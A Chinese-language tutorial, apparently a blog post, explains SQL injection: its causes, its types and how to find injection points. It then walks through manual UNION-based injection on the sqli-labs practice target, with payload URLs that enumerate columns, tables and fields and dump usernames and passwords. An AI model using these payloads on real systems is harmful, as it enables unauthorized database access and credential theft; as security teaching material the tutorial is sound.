一、SQL注入概述
1、SQL注入漏洞
攻击者利用Web应用程序对用户输入验证上的疏忽,在输入的数据中包含对某些数据库系统有特殊意义的符号或命令,让攻击者有机会直接对后台数据库系统下达指令,进而实现对后台数据库乃至整个应用系统的入侵。
2、SQL注入原理
服务端没有过滤用户输入的恶意数据,直接把用户输入的数据当中SQL语句执行,攻击者从而获得数据库中的数据,影响数据库安全和平台安全
实现SQL注入的两个条件:
用户能够控制输入
原本程序要执行的SQL语句,拼接了用户输入的恶意数据
3、SQL注入过程
![](https://img-blog.csdnimg.cn/ed47fc0355e4480191e512ed2d7ca139.png)
4、SQL注入带来的危害
![](https://img-blog.csdnimg.cn/090d72ddb9db482d83fc84c4cdf74757.png)
5、SQL注入示例
![](https://img-blog.csdnimg.cn/5d7841dac40940e4919b9f694311adf0.png)
--空格是注释的意思,注释掉后面的语句
![](https://img-blog.csdnimg.cn/00bf25a9c61b4d2c915832c71ab78b9c.png)
二、SQL注入分类
1、按照注入点类型分类
(1)数字型(整型)注入
![](https://img-blog.csdnimg.cn/f90f75fc389b470e96a665efa992d8ed.png)
例:sqli-labs的第一关,使用火狐浏览器的hackbar
![](https://img-blog.csdnimg.cn/a417f43bea814a2eb738b9cd9e73b44d.png)
![](https://img-blog.csdnimg.cn/69a0a0b017ab4366a0e79539e6d4911a.png)
在靶机地址后加?id=8 and 1=2,没有反应
![](https://img-blog.csdnimg.cn/39fa80cb7dc44b36bfcca0520d4ef456.png)
(2)字符型注入
![](https://img-blog.csdnimg.cn/afd5ac5081014f41ae6a5eccd951f76f.png)
字符串注入测试方法
![](https://img-blog.csdnimg.cn/677fa229096446a49c64eaa3cf72a2fe.png)
![](https://img-blog.csdnimg.cn/a9d5fe7063a54a0f888163f1dc342a25.png)
![](https://img-blog.csdnimg.cn/e57d7e54fb7b45ce8b473458e6d7ab03.png)
(3)搜索型注入
![](https://img-blog.csdnimg.cn/a9c57e8b1deb4b4ca30b33560d4fa0f1.png)
2、按照注入技术(执行效果)分类
![](https://img-blog.csdnimg.cn/8d194040a98647ea9ac3f9fa5d0f476e.png)
三、SQL注入漏洞形成的原因
1、动态字符串构建引起
![](https://img-blog.csdnimg.cn/3704af146e41472b995a921ce38eb0a4.png)
2、后台存在的问题
后台无过滤或者编码用户数据
数据库可以拼接用户传递的恶意代码
3、错误处理不当
详细的内部错误信息显示给用户或者攻击者
错误信息可以直接给攻击者提供下一步攻击帮助
4、不安全的数据库配置
![](https://img-blog.csdnimg.cn/01cffd32863c4708bf786d1c544d49c4.png)
四、寻找SQL注入点
1、GET方法
一种请求服务器的HTTP方法,使用该方法时,信息包含在URL中
点击一个链接时,一般会使用该方法
![](https://img-blog.csdnimg.cn/be3a0bdc44d64dac8d5c734765164979.png)
![](https://img-blog.csdnimg.cn/4c649f677f304b579a5c79ac7872794f.png)
2、POST方法
POST是一种向Web服务器发送信息的HTTP方法,数据无法在URL中看到,可以抓包,也可以用Hackbar中的POST,POST可以发送字节大的数据
![](https://img-blog.csdnimg.cn/c76962dbc5b044259a5dd74852fb6fc4.png)
![](https://img-blog.csdnimg.cn/3877950eeb0c427a8a86d8d95b16f767.png)
3、其他注入点
Cookie、Host、User-Agent
4、关于注入点的总结
只要后台接收前台输入的数据,而且没有对数据进行过滤,最后直接进入到数据库,从而构成威胁
五、SQL注入过程
1、手工注入
![](https://img-blog.csdnimg.cn/fe4c85056f3a4ac7aa87aa24bdb37379.png)
利用sqli-labs靶机的第二关
(1)判断是否存在注入点
![](https://img-blog.csdnimg.cn/eb2d8533729943368ed8df5cbe592889.png)
![](https://img-blog.csdnimg.cn/a9e6a6257e6c409aaf30c9c1db81da8c.png)
![](https://img-blog.csdnimg.cn/cd5b6ca259d64b0bbbbb26b1f355fa61.png)
(2)、判断字段长度(也就是表中数据有多少列)
利用order by 语法,如下图,为什么-- 后面不是空格,是+呢,因为用+代替空格,以免空格被后面隐藏的固定语句吃掉,使--不起作用
![](https://img-blog.csdnimg.cn/ad52a26ed2a14c15b629da08cadef90e.png)
![](https://img-blog.csdnimg.cn/0ece626a020a4dd29e5fb045f6dcb057.png)
![](https://img-blog.csdnimg.cn/9a9bf48dad7b4878849a0d4de5000173.png)
![](https://img-blog.csdnimg.cn/7f23032f3447496388de66a5d6558eb0.png)
到了4就报错,说明有3个字段
(3)、判断字段回显位置
由上一步我们知道有3个字段,我们可以利用union语法,如下图
and 1=2 是与条件,使前面的语句失效,执行union后面的查询,从而判断出回显位置
http://[靶机IP]/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,3--+
![](https://img-blog.csdnimg.cn/83f885b7a6de4e6c93ef7494cad072e0.png)
(4)判断数据库信息和查询数据库名
http://[靶机IP]/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,database()--+
![](https://img-blog.csdnimg.cn/815854e5162043d29e0b28865ee1abf0.png)
(5)查询数据表
http://[靶机IP]/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
![](https://img-blog.csdnimg.cn/99147263de4741af86cb7eea52aafd1e.png)
(6)查找数据库表中所有字段以及字段值
http://[靶机IP]/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
![](https://img-blog.csdnimg.cn/9d406ef032e74124bcc18e50d05a82d6.png)
(7)猜解账号密码
http://[靶机IP]/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,concat_ws(',',id,username,password) from security.users limit 0,1--+
![](https://img-blog.csdnimg.cn/13f5d5c4f6be48d88439a6449403032c.png)
![](https://img-blog.csdnimg.cn/df31eaf2eb0b4bf78ee067d77ab103f2.png)
![](https://img-blog.csdnimg.cn/1eb3658ad83b4fbcbaf17310fc2cca85.png)
以此类推,可通过修改limit后面的参数,将users表中存放的所有用户信息全部暴露出来。
这篇文章就写到这里了!